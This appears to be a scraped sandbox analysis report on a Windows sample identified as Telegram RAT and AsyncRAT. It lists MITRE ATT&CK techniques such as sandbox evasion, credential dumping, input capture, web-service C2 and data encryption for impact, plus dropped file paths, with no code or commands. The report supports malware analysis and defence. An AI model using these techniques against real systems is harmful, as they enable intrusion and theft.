Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report viVOqZjAT0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: AsyncRAT

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\80e522d8316e7da539f08cd83766e5dd\msgid.dat

C:\Users\user\AppData\Local\Temp\places.raw

C:\Users\user\AppData\Local\Temp\tmp37DA.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp37FA.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp380B.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp382B.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp383B.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp386B.tmp.dat

Windows Analysis Report
viVOqZjAT0.exe

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre